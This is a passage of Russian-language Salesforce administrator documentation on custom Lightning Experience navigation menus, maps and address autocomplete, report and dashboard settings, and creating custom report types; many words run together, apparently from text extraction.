Developer Edition.

Это увлекательная часть. Нужно решить, какие элементы разместить в менюнавигации.
Помните об этих замечаниях при создании настраиваемых меню навигации Lightning
Experience для своей организации.

Составление плана
Во-первых, выясните у пользователей их приоритеты. Настройка менюнавигации дает
уникальную возможность взаимодействия с пользователями. У каждой группы
пользователейсвоиприоритеты. Вместе снимивыясните, какиеобъектыимеютдляних
наивысший приоритет.

• Проводите опросы.

• Планируйте совместные обеды. Никто не откажется бесплатно пообедать, и
практически все всегда с радостью делятся своим мнением.

Сделайте создание меню навигации частью своей стратегии развертывания. Рекомендуем создавать меню во время
развертывания Lightning Experience.

• См. раздел «Разработка стратегии развертывания для Lightning Experience» в справке Salesforce.

• См. модуль Trailhead «Развертывание Lightning Experience». В нем содержится много отличных идей по сбору отзывов
пользователей.

Какие объекты можно добавлять в меню навигации? Работа над платформой Lightning Experience еще идет. И с каждым
новым выпуском появляются новые объекты, однако некоторые объекты в Lightning Experience до сих пор не
поддерживаются.
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• Не все объекты из средства запуска приложений можно размещать в меню навигации. Однако легко узнать, какие
можно. При запуске мастера он выводит список всех элементов, которые можно включить в меню.

Создайтеосновнойсписокобъектов, которыенужнывсемворганизации. Азатемвыберитеизнегоподспискидля каждой
группы пользователей.

• Некоторые объекты, такие как начальная страница, задачи и лента, универсальны.

• Важные объекты для одной группы могут не иметь особо значения для других групп. Удалите элементы с низким
приоритетом из пользовательских профилей или разместите их в нижней части меню.

• Есть ли объекты с низким приоритетом для всех? Исключите их из меню навигации совсем. Пользователи всегда
могут найти редко используемые приложения в средстве запуска приложений.

Добавьте приложения
Клонируйте меню навигации.

• Проще всего создать меню навигации, взяв существующее. Возьмите созданный основной список и добавьте его в
первое меню.

• А в остальных меню навигации измените порядок объектов в соответствии с пользовательским профилем. Или
удалите их все вместе. Перетащите их из списка «Элементы меню навигации» в список «Доступные элементы».

Добавьте приложения в свое меню навигации.

• Приложение Salesforce — это набор вкладок, работающих как единое целое для выполнения доступных функций.
Можно создавать настраиваемые приложения, соответствующие вашим рабочим задачам.

• Для добавления приложений в меню навигации каждая вкладка представлена в виде отдельного элемента в списке
доступных элементов. Установите нужный порядок вкладок, чтобы они располагались в менюнавигации рядом друг
с другом.

Назначение пользовательских профилей
Мы попытались избавить вас от возможных ошибок. Если вы где-то ошибетесь, всегда можно вернуться к меню по
умолчанию.

• Меню навигации по умолчанию является частью Salesforce. Оно полностью идентично меню выпуска Winter ’16: те
же объекты в том же порядке. Меню по умолчанию нельзя редактировать.

• Если удалить пользовательский профиль из меню навигации и не поместить его в другое меню, ему автоматически
будет назначено меню по умолчанию.

• Если удалить настраиваемое меню навигации из пользовательского профиля, не указав замены, то профиль
переключается обратно на меню по умолчанию.

Менюнавигации можно назначить нескольким пользовательским профилям

• Для предоставления разным типам пользователей своих менюнавигации эти менюназначаются в соответствующие
пользовательские профили. Одно меню навигации можно назначить нескольким пользовательским профилям.

• Например, если в вашем подразделении продаж имеется семь разных групп, всем им можно назначить одно меню
навигации.

Одно меню навигации на пользовательский профиль

• В пользовательском профиле может быть только одно меню навигации. Если назначить меню навигации
пользовательскому профилю, у которого уже есть назначенное меню навигации, новое меню заменяет старое.
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• Пользователи, относящиесяк этомупрофилю, сразужеувидятновоеменюнавигации. Имейте этов видуприсоздании
новых меню навигации. Если пользователи внезапно увидят отличное от привычного меню навигации, вам начнут
звонить.

Другие замечания
Вменюнавигации учитываются полномочия пользователей

Если у пользователя нет полномочий на доступ к объекту, этот объект не будет отражаться в его меню навигации.

Настраиваемые меню навигации зависят от выпуска

Количество доступных настраиваемых меню навигации зависит от выпуска платформы. Можно создать до 10 меню
навигациив выпусках Enterprise, Performance и Developer. Ввыпуске Professional можноиметьнеболеепятименю. Ввыпуске
Unlimited число доступных меню навигации ограничено двумя.

Карты и службы расположений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
карт и расположения:
• «Настройка

приложения»

Функция «Карты и службы расположений» использует карты Google для отображения
карт для стандартныхадресныхполей, включениявозможностисоздания картVisualforce
и ввода новых адресов путем автозаполнения.

Изображение карты генерируется только в том случае, если адрес содержит поля улицы
и города, а также поле области, почтового индекса или страны. В противном случае,
карта не отображается на странице сведений о записи.

Изображение карты является статическим, но его выбор инициирует открытие карт
Google на новой вкладке обозревателя (при использовании настольного компьютера)
или приложения «Карты» (при использовании мобильного устройства).

Если организация поддерживает автономный доступ к приложению Salesforce1, то при
включении автономного режима карта не отображается.

Чтобы включить карты и службы расположений организации, выполните указанные
ниже действия.

1. Введите строку «Карты» в поле «Быстрый поиск» в меню «Настройка», выберите
пункт «Параметры карт и расположение», затем щелкните <b>«Правка»</b>.

2. Установите флажок «Включить функцию "Карты и службы расположений"».

3. Нажмите кнопку «Сохранить».
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Автозаполнение для стандартных адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
карт и расположения:
• «Настройка

приложения»

Принеобходимостивключитефункциюавтозаполнениястандартныхадресовдлявсех
пользователей Salesforce1. Данная функция позволяет пользователям заполнять
стандартные адресные поля и просматривать раскрывающийся список возможных
совпадений.

Ниже перечислены страны, для которых поддерживается оптимизация отображаемых
результатов.

• США

• Япония

• Великобритания

• Канада

• Австралия

• Германия

• Франция

• Нидерланды

• Бразилия

• Испания

• Россия

• Швеция

Чтобы включить функцию автозаполнения для стандартных адресных полей, выполните указанные ниже действия.

1. Введите строку «Карты» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Параметры карт и
расположение», затем щелкните <b>«Правка»</b>.

2. Установите флажок «Включить автозаполнение для стандартных адресных полей».

3. Нажмите кнопку «Сохранить».

Прим.:

• Автозаполнение стандартных адресных полей доступно во всех версиях Salesforce1 и Lightning Experience.
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Настройка отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Система позволяет настраивать отчеты и панели мониторинга согласно текущим
требованиям пользователей относительно доставки данных.

Чтобы перейти на эту страницу, введите строку «Отчеты» в поле «Быстрый поиск» в
меню «Настройка», затем выберите пункт «Параметры отчетов и панелей
мониторинга».

Предоставлениепользователямотчетовипанелеймониторингадоступакфункциям
удобства
При необходимости включите или отключите некоторые функции
пользовательского интерфейса, позволяющие повысить эффективность
использованияотчетовипанелеймониторинга. Данныепараметрыпереопределяют
только способ работы, поэтому не влияют на данные, возвращаемые в отчетах и
панелях мониторинга.

Предоставление пользователям возможности подписки на уведомления об отчетах
Разрешите пользователям подписываться на отчеты для получения уведомлений
при выполнении указанных ими показателей.

Настройка электронных уведомлений для отчетов и панелей мониторинга
Система позволяет выбирать способ уведомления пользователей об изменениях в используемых отчетах и панелях
мониторинга.

Настройка типа настраиваемого отчета
Тип отчета определяет набор записей и полей, доступных в отчете, исходя из взаимосвязей между основным и
связаннымиснимобъектами. Отчетысодержат только те записи, которые соответствуюткритериям, заданнымв типе
отчета.

Включение расширенного общего доступа к отчетам и панелям мониторинга
При включении общего доступа к аналитике система Salesforce преобразует текущие уровни доступа пользователей
к папкам в новые более подробные уровни доступа.

Настройка архивного трендинга
Чтобыпредоставитьпользователямдоступкотчетампоархивнымтрендам, воспользуйтесьфильтрамидлянастройки
объема собираемых данных. Затем выберите нужные поля.

СМ. ТАКЖЕ:

Обновление мастера отчетов
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Предоставление пользователям отчетов и панелей мониторинга доступа к функциям
удобства

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Принеобходимости включите или отключите некоторыефункциипользовательского
интерфейса, позволяющиеповысить эффективностьиспользованияотчетовипанелей
мониторинга. Данные параметры переопределяют только способ работы, поэтому не
влияют на данные, возвращаемые в отчетах и панелях мониторинга.

Предоставление пользователям возможности просмотра плавающих заголовков
отчетов
Плавающие заголовки отчетов позволяют отображать заголовки строк и столбцов
при прокручивании результатов отчетов.

Предоставлениепользователямвозможностибыстрогопоискапанелеймониторинга
Средство поиска панелей мониторинга использует функцию автоматического
заполнения для быстрого поиска нужныхпанелеймониторинга на вкладке «Панели
мониторинга» путем ввода первых символов нужного имени в фильтр поиска.

Предоставление пользователям возможности публикации компонентов панели
мониторинга в Chatter

Снимки компонентов панели мониторинга позволяют пользователям публиковать
статические изображения компонентов панели мониторинга в ленты Chatter, делая
снимки общедоступными.

Исключение отказа от ответственности за распространение конфиденциальной информации из отчетов
По умолчаниюнижние колонтитулыотчетов содержат отказ от ответственности «Конфиденциальная информация:
не распространять!». Отказ от ответственности напоминает пользователям о необходимости внимательного выбора
аудитории во избежание возможности просмотра отчетов сторонними лицами. При необходимости отказ от
ответственности может быть исключен из отчетов.

Показать расширенные диаграммы в Salesforce1

Отображает расширенные диаграммы пользователей в Salesforce1. Расширенные диаграммы подобны диаграммам в
Lightning Experience: просмотр подробных сведений перед детализацией отчета, фильтрование отчетов касанием
сегментов диаграммы, а также изменение типа диаграммы.
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Предоставление пользователям возможности просмотра плавающих заголовков отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Плавающие заголовки отчетов позволяют отображать заголовки строк и столбцов при
прокручивании результатов отчетов.

Плавающиезаголовкиотчетовпозволяютпользователямпрокручиватьдлинныеотчеты
до самого конца, не возвращаясь вначало страницыдляпросмотра заголовков столбцов.

Крометого, плавающиезаголовкиподдерживаютсортировкуданныхвсоответствующих
столбцах. Вэтомслучаеотчетобновляется, апользователипереходят вначало страницы
результатов.

Плавающие заголовки доступны для табличных, сводных и матричных отчетов.

1. Введитестроку «Отчеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Параметры отчетов и панелей мониторинга».

2. Установите или снимите флажок «Включить плавающие заголовки отчетов».

3. Нажмите кнопку «Сохранить».

Предоставление пользователям возможности быстрого поиска панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Средство поиска панелей мониторинга использует функцию автоматического
заполнения для быстрого поиска нужных панелей мониторинга на вкладке «Панели
мониторинга» путем ввода первых символов нужного имени в фильтр поиска.

Все панели мониторинга, соответствующие введенному тексту, динамически
отображаютсявраскрывающемсясписке. Сначалаотображаютсянедавнопросмотренные
панели мониторинга, а затем все остальные панели мониторинга, отсортированные по
папкам в алфавитном порядке. Первые 1 000 результатов отображаются в отдельном
списке; остальныерезультатыотображаютсяпо 500 записейна страницу. Пользователи
могут просматривать панели мониторинга только в доступных папках. Чтобы
использовать статический раскрывающийся список, снимите данныйфлажок.

Данный параметр включен по умолчанию.

1. Введитестроку «Отчеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Параметры отчетов и панелей мониторинга».

2. Установите или снимите флажок «Включить средство поиска панелей
мониторинга».

3. Нажмите кнопку «Сохранить».
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Предоставление пользователям возможности публикации компонентов панели мониторинга в
Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Снимки компонентов панели мониторинга позволяют пользователям публиковать
статические изображения компонентов панели мониторинга в ленты Chatter, делая
снимки общедоступными.

1. Убедитесь, что панели мониторинга поддерживают функцию отслеживания лент
Chatter.

2. Введитестроку «Отчеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Параметры отчетов и панелей мониторинга».

3. Установите или снимите флажок «Включить снимки компонентов панели
мониторинга».

Важное замечание: Данный параметр позволяет переопределять параметры
доступностипанелимониторингаиделатьснимкидоступнымивсемпользователям
Chatter. Данный параметр позволяет быстро публиковать временные данные без
добавления пользователей в папки панелей мониторинга. Однако пользователи
могут непреднамеренно опубликовать важную или конфиденциальную
информацию.

Исключение отказа от ответственности за распространение конфиденциальной информации из
отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

По умолчанию нижние колонтитулы отчетов содержат отказ от ответственности
«Конфиденциальная информация: не распространять!». Отказ от ответственности
напоминает пользователям о необходимости внимательного выбора аудитории во
избежание возможности просмотра отчетов сторонними лицами. При необходимости
отказ от ответственности может быть исключен из отчетов.

1. Введите строку «Параметры отчетов и панелей мониторинга» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт «Параметры отчетов и панелей
мониторинга».

2. Установитефлажки«Исключитьотказотответственностиизэкспортированных
отчетов» и «Исключить отказ от ответственности со страниц выполнения
отчета и версии для печати».

3. Нажмите кнопку «Сохранить».
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Показать расширенные диаграммы в Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Отображает расширенные диаграммы пользователей в Salesforce1. Расширенные
диаграммы подобны диаграммам в Lightning Experience: просмотр подробных сведений
перед детализацией отчета, фильтрование отчетов касанием сегментов диаграммы, а
также изменение типа диаграммы.

После включения расширенных диаграмм они будут отображаться для всех пользователей в Salesforce1, независимо от
приложения, используемого в полной версии сайта Salesforce — Lightning Experience или Salesforce Classic.

1. Введитестроку «Параметры отчетов и панелей мониторинга» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Параметры отчетов и панелей мониторинга».

2. ВыберитеПоказать расширенные диаграммы в Salesforce1.

3. Нажмите кнопку «Сохранить».
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Перед включением расширенных диаграмм обратите внимание на следующие ограничения.

• Конические, точечные и табличные диаграммы не поддерживаются и отображаются в форме горизонтальных
диаграмм. Линейные диаграммы с накоплением не поддерживаются и отображаются в форме линейных диаграмм.

• В расширенных диаграммах отображаются только 100 первых групп в порядке сортировки по умолчанию.

• Публикация расширенных диаграмм в Chatter не поддерживается.

• При открытии Salesforce1 панели мониторинга не сохраняются автоматически на ваше устройство для просмотра в
автономномрежиме. Однакоприпросмотрепанелимониторинга она сохраняется в кэше устройства, поэтомупозже
ее можно просмотреть в автономном режиме.

Предоставление пользователям возможности подписки на уведомления об отчетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Разрешите пользователям подписываться на отчеты для получения уведомлений при
выполнении указанных ими показателей.

1. В меню «Настройка» введите «Уведомления об отчетах» в поле «Быстрый поиск»,
затем выберите «Уведомления об отчетах».

2. Чтобы включить уведомления об отчетах, установите соответствующийфлажок.

3. Нажмите кнопку «Сохранить».
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Настройка электронных уведомлений для отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Система позволяет выбирать способ уведомления пользователей об изменениях в
используемых отчетах и панелях мониторинга.

1. В меню «Настройка» введите строку «Электронные уведомления» в поле «Быстрый
поиск», затем выберите пункт «Электронные уведомления».

2. Чтобыизменить уведомленияорганизации, установитеилиснимитеперечисленные
ниже флажки.

Разрешить отправку отчетов и панелей мониторинга пользователям портала
Если данный параметр включен, то отчеты и панели мониторинга могут быть
отправленывсемвнутреннимпользователямипользователямпортала, указанным
в качестве получателей. Если данный параметр отключен, то уведомления об
обновлении отчетов и панелей мониторинга могут быть отправлены только
внутренним пользователям Salesforce.

Поумолчаниюданныйпараметротключенидоступенв версиях Enterprise Edition,
Unlimited Edition и Performance Edition при использовании клиентского или
партнерского портала.

Использовать изображения, совместимые с Lotus Notes, в сообщениях
эл. почты с панелями мониторинга

Уведомления об обновлении панели мониторинга могут быть отправлены
выбранным пользователям после выполнения запланированного обновления
панели мониторинга. По умолчанию сообщения эл. почты с панелями мониторинга, отправляемые системой
Salesforce, содержат графические файлы .png, которые не поддерживаются приложением Lotus Notes. Чтобы
разрешить системе Salesforce использование графических файлов .jpg, поддерживаемых приложением Lotus
Notes, при отправке панелей мониторинга по эл. почте, установите флажок «Использовать изображения,
совместимые с Lotus Notes, в сообщениях эл. почты с панелями мониторинга». Данный параметр
отображается только при наличии полномочия «Планирование панелей мониторинга».

Прим.: Размер сообщений эл. почты, содержащих изображения, которые поддерживаются приложением
Lotus Notes, значительно больше, а качество изображений может быть ниже.

3. Нажмите кнопку «Сохранить».
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Настройка типа настраиваемого отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Типотчетаопределяетнаборзаписейиполей, доступныхвотчете, исходяизвзаимосвязей
между основным и связанными с ним объектами. Отчеты содержат только те записи,
которые соответствуют критериям, заданным в типе отчета.

Например, администратор может создать тип отчета, отображающий только заявки о
приеме на работу, содержащие резюме; соответственно, заявки без резюме не
отображаются. Принеобходимостиадминистраторможет задатьотображение записей,
которые могут иметь связанные записи (например, заявки с или без резюме). В этом
случае отчеты, созданные на основе данного типа, отображают все заявки, независимо
от наличия резюме.

Принеобходимостисоздайтетипынастраиваемыхотчетов, которыемогутиспользоваться
для составления отчетов по отчетам и панелям мониторинга организации. Чтобы
определить тип настраиваемого отчета, выберите пункт «Отчеты» или «Панели
мониторинга» в раскрывающемся списке «Основной объект» на странице «Создать
тип настраиваемого отчета».

Совет: Ниже перечислены некоторые способы использования созданного типа
отчета.

• Добавьте тип настраиваемого отчета в приложения, загруженные в каталог
Force.com AppExchange.

• Пользователи, назначенные в качестве переводчиков и обладающие
полномочием «Просмотрнастройкииконфигурации», могутпереводить типы
настраиваемых отчетов с помощью средства перевода.

1. Создание типа настраиваемого отчета
Выберите основной объект, который должен поддерживаться новым типом отчета,
а затем введите имя и описание. Чтобы временно скрыть данный тип отчета от пользователей, выберите режим «В
разработке».

2. Добавление дочерних объектов в тип настраиваемого отчета
Чтобы разрешить отчетам извлечение данных не только из основного объекта, рекомендуем добавить как минимум
один связанный объект в тип отчета.

3. Создание макета поля для отчетов, созданных на основе типа настраиваемого отчета
Чтобы выбрать стандартные и настраиваемые поля, доступные для отображения при создании или запуске отчета на
основе типа настраиваемого отчета, определите тип настраиваемого отчета и выберите взаимосвязи объектов.

4. Управление типами настраиваемых отчетов
Созданный тип настраиваемого отчета доступен для настройки, редактирования и удаления.

5. Ограничения для типов отчетов
Данный раздел содержит некоторые ограничения, позволяющие гарантировать высокую производительность и
доступность типов настраиваемых отчетов.
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Создание типа настраиваемого отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Выберите основной объект, который должен поддерживаться новым типом отчета, а
затем введите имя и описание. Чтобы временно скрыть данный тип отчета от
пользователей, выберите режим «В разработке».

1. В разделе «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем
выберите «Типы отчетов».

2. Нажмите кнопку «Создать тип настраиваемого отчета».

3. Выберите нужное значение раскрывающегося списка «Основной объект».

Совет:

• Для выбора доступны все объекты, даже те, которые недоступны
пользователю для просмотра. Данный алгоритм позволяет создавать типы
отчетов для самых разных пользователей.

• Основной объект не может быть изменен после сохранения типа отчета.

• Если основным объектом типа отчета является настраиваемый объект, то
удаление настраиваемого объекта инициирует автоматическое удаление
типа отчета и всех отчетов, созданных на его основе.

• Удалениеобъектаиз типаотчетаинициирует автоматическоеудалениевсех
ссылок на данный объект и связанные объекты из отчетов и панелей
мониторинга, созданных на основе данного типа.

4. Заполните поля «Метка типа отчета» и «Имя типа отчета».

Длина метки не должна превышать 50 символов. Данное имя используется
интерфейсом SOAP API.

5. Введитеописаниетипанастраиваемогоотчета. Длинаописаниянедолжнапревышать
255 символов.

Прим.: Описаниедолжнобыть содержательнымичеткоопределятьданные, доступныедляотчетов. Например:
«Организации с контактами. Отчеты по организациям и их контактам. Организации без контактов не
отображаются.».

6. Выберите категорию для хранения типа настраиваемого отчета.

7. Установите переключатель в поле «Статус развертывания».

• Установите переключатель «В разработке», если выполняется редактирование или тестирование. Данный
переключатель скрывает тип отчета и его отчеты ото всех пользователей, кроме пользователей с полномочием
«Управление типами настраиваемых отчетов». Создание и выполнение отчетов посредством разрабатываемых
типов отчетов доступно только при наличии данного полномочия.

• Чтобы предоставить всем пользователям доступ к типу отчета, установите переключатель «Развернуто».

Прим.: Параметр «Статус развертывания» типа настраиваемого отчета меняет значение «Развернуто» на
значение «В разработке», если основным объектом является настраиваемый объект, параметр «Статус
развертывания» которого меняется аналогичным образом.

8. Нажмите кнопку «Далее».
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Прим.: Разработчик может редактировать тип настраиваемого отчета после выпуска управляемого пакета и
добавлять новые поля. Подписчики получают данные изменения автоматически при установке новой версии
управляемогопакета. Темнеменееразработчикинемогут удалятьобъектыилиполяиз типаотчетапосле выпуска
пакета. Еслиудалитьполевтипенастраиваемогоотчета, которыйвходитвсоставуправляемогопакета, а удаленное
поле использовалось в области или в группе, тогда отобразится сообщение об ошибке.

СМ. ТАКЖЕ:

Добавление дочерних объектов в тип настраиваемого отчета

Добавление дочерних объектов в тип настраиваемого отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Чтобы разрешить отчетам извлечение данных не только из основного объекта,
рекомендуем добавить как минимум один связанный объект в тип отчета.

1. Щелкните поле под основным объектом.

2. Выберите дочерний объект.

Поиск возвращает только связанные объекты.

Совет: Чтобы ускорить поиск объектов, воспользуйтесь полем поиска.

3. Выберите один из указанных ниже критериев для каждого дочернего объекта.

• Каждая запись "А" должна иметь как минимум одну связанную запись
"Б". Отчет отображает только родительские записи с дочерними записями.

• Записи "А" могут иметь или не иметь связанные записи "Б". Отчет
отображает родительские записи, независимо от наличия дочерних записей.

Если объект «Пользователи» является основным, выберите дочерние объекты по
полю (например, «Организации (Ответственныйзаорганизацию)» или «Организации
(Создано)»).

4. Добавьте не более трех дочерних объектов.

Количество дочерних объектов определяется выбранным объектом.

5. Нажмите кнопку «Сохранить».

Пример:

• ЕслиобъектАможетиметьилинеиметьобъектБ, товсепоследующиеобъекты
автоматически включают связь «с или без» для типа настраиваемого отчета.
Например, если организации являются основным объектом, а контакты —
дополнительным объектом, при этом организации могут иметь или не иметь
контакты, толюбыеобъектытретьегоичетвертогопорядка, добавленныев тип
настраиваемого отчета, используют связь «с или без» по умолчанию.

• Если объект А не имеет объекта Б, то результаты отчета для объекта Б
отображают пустые поля. Например, если пользователь выполняет отчет по
организациям с контактами или без контактов, то результаты отчета по
организациям без контактов отображают пустые поля контактов.

• Условие «ИЛИ» не может использоваться для фильтрации объектов отчета,
объект А которого может иметь или не иметь объект Б. Например, при вводе
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критерия фильтрации «"Имя организации" начинается с "М" ИЛИ "Личное имя контакта" начинается с
"M"» отображается сообщение об ошибке, уведомляющее о вводе недопустимого критерия фильтрации.

• Параметр табличных отчетов «Ограничение строк» отображает только поля основного объекта для отчетов,
созданныхнаоснове типовнастраиваемыхотчетов, где объектАможетиметьилинеиметьобъектБ. Например,
отчет по организациям с контактами или без контактов отображает только поля организаций. Поля объектов
послевзаимосвязи «силибез» длятиповнастраиваемыхотчетовнеотображаются. Например, отчет «Организации
с контактами с или без обращений» отображает только поля организаций и контактов. Более того, текущие
отчетымогутне запускатьсяилипропускатьпараметр «Ограничение строк», еслионисозданынаоснове типов
настраиваемых отчетов, где обязательные взаимосвязи объектов заменены необязательными.

Создание макета поля для отчетов, созданных на основе типа настраиваемого отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Чтобы выбрать стандартные и настраиваемые поля, доступные для отображения при
создании или запуске отчета на основе типа настраиваемого отчета, определите тип
настраиваемого отчета и выберите взаимосвязи объектов.

Прим.: Настраиваемыеполяотображаются в типахнастраиваемыхотчетов только
после их добавления в соответствующий макет страницы.

1. Введите строку «Типы отчетов» в поле «Быстрый поиск» в меню «Настройка»,
затемвыберитепункт«Типыотчетов»иоткройтестраницу «Всетипынастраиваемых
отчетов».

2. Выберите нужный тип настраиваемого отчета и нажмите кнопку «Редактировать
макет» в разделе «Поля, доступные для отчетов».

Чтобы открыть окно предварительного просмотра полей, которые должны
отображатьсянастранице «Выбратьстолбцы» отчета, настроенногоилизапущенного
на основе данного типа отчета, нажмите кнопку «Предварительный просмотр
макета».

Прим.: Режим предварительного просмотра макета отображает все поля и
объекты, включая поля и объекты, которые могут быть недоступны
пользователям. Тем не менее, данные, хранящиеся в недоступных полях или
объектах, недоступны.

3. Выберите поля справа и перетащите их в раздел слева.

Совет: Чтобыпросмотретьполяотдельногообъекта, выберитенужныйобъект
в раскрывающемся списке «Представление».

4. Чтобыоткрыть область наложения «Добавить поля посредствомпоиска», щелкните
ссылку «Добавить поля, связанные посредством поиска».

Даннаяобластьпозволяет добавлятьполяпосредствомвзаимосвязи «Поиск», созданноймеждуобъектом, выбранным
в раскрывающемся списке «Представление», и другими объектами.

• Полепоиска — этополеобъекта, отображающеесведенияиздругогообъекта. Например, полеорганизации «Имя
контакта».

• Типнастраиваемогоотчетаможетсодержатьполя, доступныепосредствомпоисканачетырехуровняхвзаимосвязей
«Поиск». Например, прииспользованииорганизацийдоступныследующиеуровни: ответственныйзаорганизацию,
менеджер ответственного за организацию, роль менеджера и ее родительская роль.
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• Поиск позволяет добавлять только поля, связанные с объектами, добавленными в тип настраиваемого отчета.
Например, придобавленииорганизацийв типнастраиваемогоотчета системапозволяетдобавлятьполяобъектов,
связанных с организациями посредством взаимосвязи «Поиск».

• Выборполяпоискавобластиналожения «Добавитьполяпосредствомпоиска» можетинициироватьпредоставление
доступа к дополнительным полям поиска других объектов, поддерживающих взаимосвязь «Поиск». Например,
при выборе поля обращений «Имя контакта» система позволяет выбрать поле контактов «Организация», так
как организации связаны посредством взаимосвязи «Поиск» с контактами, которые связаны с обращениями
посредством той же взаимосвязи.

• Поля, отображаемые в области наложения «Добавить поля посредством поиска», не охватывают поля поиска
основных объектов. Например, если организации являются основнымобъектом для типа настраиваемого отчета,
аконтакты — дополнительнымобъектом, тообластьналожения «Добавитьполяпосредствомпоиска» неотображает
поля поиска организаций в контактах.

• Поля, добавленныевмакетпосредствомссылки«Добавитьполя, связанныепосредствомпоиска», автоматически
добавляются в раздел объекта, где они являются полямипоиска. Например, если поле «Контакт» добавляется как
полепоиска ворганизациях, тополе «Контакт» автоматическидобавляется враздел «Организации». Темнеменее,
поле может быть перемещено в любой раздел.

• Поля, добавленные посредством поиска, автоматически отображают значок поиска в макете поля для типа
настраиваемого отчета.

• Чтобы сократить время поиска полей, необходимых для создания отчетов, сгруппируйте похожие поля в макетах
полей для типов настраиваемых отчетов. При необходимости создайте разделы страницы, предназначенные для
группированияполей, связанных друг с другом. Обратите внимание, чтополямогут быть сгруппированы с целью
соответствия определенным страницам сведений и типам записей.

• Если действия являются основным объектом для типа настраиваемого отчета, то поля поиска организаций в
действиях могут быть добавлены только в макет выбора столбца для типа настраиваемого отчета.

5. При необходимости измените порядок отображения полей в разделах.

Поля, которые не перемещаются в раздел, недоступны пользователям при создании отчетов на основе данного типа
отчета.

6. Чтобы определить поля, добавленные в макет, отчет по умолчанию или макет посредством взаимосвязи «Поиск»,
нажмите кнопку «Предварительный просмотр макета» и воспользуйтесь условными обозначениями.

